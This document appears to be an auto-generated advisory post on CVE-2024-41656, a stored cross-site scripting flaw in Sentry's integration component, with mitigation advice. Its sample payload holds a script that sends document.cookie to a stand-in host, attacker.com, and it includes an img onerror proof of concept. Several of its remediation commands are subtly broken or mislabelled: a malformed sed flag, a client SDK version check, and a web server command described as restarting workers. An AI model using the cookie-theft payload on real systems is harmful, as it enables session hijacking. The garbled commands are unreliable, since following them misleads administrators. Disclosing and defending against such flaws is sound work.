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CVE-2024-41656 is a critical stored Cross-Site Scripting (XSS) vulnerability affecting the Sentry error tracking and performance monitoring platform.
The flaw exists within Sentry’s Integration platform integration component, which processes external issues and telemetry data.
Specifically, the vulnerability arises because the application fails to properly sanitize payloads transmitted by external integration platforms before storage.
When an attacker or an untrusted external integration sends a malicious payload containing arbitrary HTML tags or JavaScript code, Sentry accepts and stores this data directly in its database without adequate sanitization or output encoding.
Subsequently, when authorized users or administrators navigate to the Issues page within the Sentry web interface to review reported errors, the stored malicious HTML and script tags are dynamically rendered by the browser within the context of the user’s session.
Because the application executes scripts in the user’s browser session, an attacker can leverage this behavior to perform unauthorized actions, access sensitive session tokens, steal authentication cookies, or manipulate the interface.
The vulnerability requires low privileges to store the payload if an integration can be manipulated or abused, combined with user interaction when an administrator views the crafted issue.
Mitigation requires strict adherence to Content Security Policy (CSP) enforcement and updating instances to patched software releases.
DailyCVE Form:
Platform: Sentry error platform
Version: Prior to 24.7.1
Vulnerability : Stored XSS flaw
Severity: High CVSS score
date: July 23 2024
Prediction: Already patched update
What Undercode Say:
Analysis of the vulnerability reveals that input sanitization failures in third-party integrations represent a significant vector for stored web application attacks. Developers must implement strict context-aware output encoding and robust validation filters on all incoming payloads before database persistence.
Bash Commands And Code Analysis
Check installed Sentry server version via pip or package manager pip show sentry-sdk sentry Enable Content Security Policy enforcing mode in config file sed -i 's/CSP_REPORT_ONLY = True/CSP_REPORT_ONLY = False/s' ~/.sentry/sentry.conf.py Restart Sentry background worker services after configuration update sentry run web
Example vulnerable payload structure sent via integration platform
malicious_payload = {
"": "<script>fetch('http://attacker.com/steal?cookie=' + document.cookie);</script>",
"culprit": "integration_module",
"level": "error"
}
Exploit: (Educational Purposes!)
<!-- Malicious HTML payload injected via integration API endpoint --> <img src=x onerror=alert(document.domain)>
Attackers target the integration ingestion API by submitting crafted external issues containing executable script payloads. When the victim opens the Sentry dashboard and accesses the issues view, the browser parses the unescaped script tag, executing arbitrary JavaScript instructions under the user’s origin security context.
Protection: from this CVE
To protect systems against CVE-2024-41656, administrators must immediately upgrade self-hosted Sentry installations to version 24.7.1 or higher. For environments where immediate upgrading is not feasible, enforce strict Content Security Policy headers by setting `CSP_REPORT_ONLY = False` within the configuration files to block unauthorized script execution. Additionally, audit third-party integrations and restrict integration access permissions.
Impact:
Successful exploitation of this vulnerability leads to stored Cross-Site Scripting (XSS) execution inside the administrative browser session. This can result in complete compromise of user session integrity, unauthorized data exposure, potential account takeover within the Sentry platform instance, and manipulation of error tracking data logs.
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Sources:
Reported By: github.com
Extra Source Hub:
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